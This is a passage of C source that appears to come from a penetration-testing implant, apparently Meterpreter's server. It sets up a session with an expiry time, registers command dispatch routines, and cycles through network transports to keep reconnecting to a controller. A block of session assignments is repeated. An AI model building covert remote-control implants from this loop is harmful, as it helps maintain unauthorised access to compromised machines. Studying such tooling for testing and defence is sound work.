later. serverThread = thread_open(); dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); if (!(remote = remote_allocate())) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); goto out; } remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); DWORD transportSize = 0; if (!create_transports(remote, config->transports, &transportSize)) { // not good, bail out! SetLastError(ERROR_INVALID_PARAMETER); goto out; } // the first transport should match the transport that we initially connected on. // If it's TCP comms, we need to wire that up. if (config->session.comms_fd) { ((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd; } // TODO: need to implement this when we have the valid approach done for stageless. //load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); // Set up the transport creation function pointer remote->trans_create = create_transport; // Set up the transport removal function pointer remote->trans_remove = remove_transport; // and the config creation pointer remote->config_create = config_create; // Store our thread handle remote->server_thread = serverThread->handle; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); remote->sess_start_time = current_unix_timestamp(); // loop through the transports, reconnecting each time. while (remote->transport) { if (remote->transport->transport_init) { dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); // Each transport has its own set of retry settings and each should honour // them individually. if (!remote->transport->transport_init(remote->transport)) { dprintf("[SERVER] transport initialisation failed, moving to the next transport"); remote->transport = remote->transport->next_transport; // when we have a list of transports, we'll iterate to the next one. continue; } } dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); if (remote->transport->transport_deinit) { dprintf("[DISPATCH] deinitialising transport"); remote->transport->transport_deinit(remote->transport); } dprintf("[TRANS] resetting transport"); if (remote->transport->transport_reset) { remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); } // If the transport mechanism failed, then we should loop until we're able to connect back again. if (dispatchResult == ERROR_SUCCESS) { dprintf("[DISPATCH] Server requested shutdown of dispatch"); // But if it was successful, and this is a valid exit, then we should clean up and leave. if (remote->next_transport == NULL) { dprintf("[DISPATCH] No next transport specified, leaving"); // we weren't asked to switch transports, so we exit. break; } // we need to change transports to the one we've been given. We will assume, for now, // that the transport has been created using the appropriate functions and that it is // part of the transport list. dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); remote->transport = remote->next_transport; remote->next_transport = NULL; if (remote->next_transport_wait > 0) { dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); sleep(remote->next_transport_wait); // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } } else { // move to the next one in the list dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); remote->transport = remote->transport->next_transport; } } // clean up the transports while (remote->transport) { remove_transport(remote, remote->transport); } dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); remote_deallocate(remote); out: res = GetLastError(); dprintf("[SERVER] Finished."); return res == ERROR_SUCCESS; }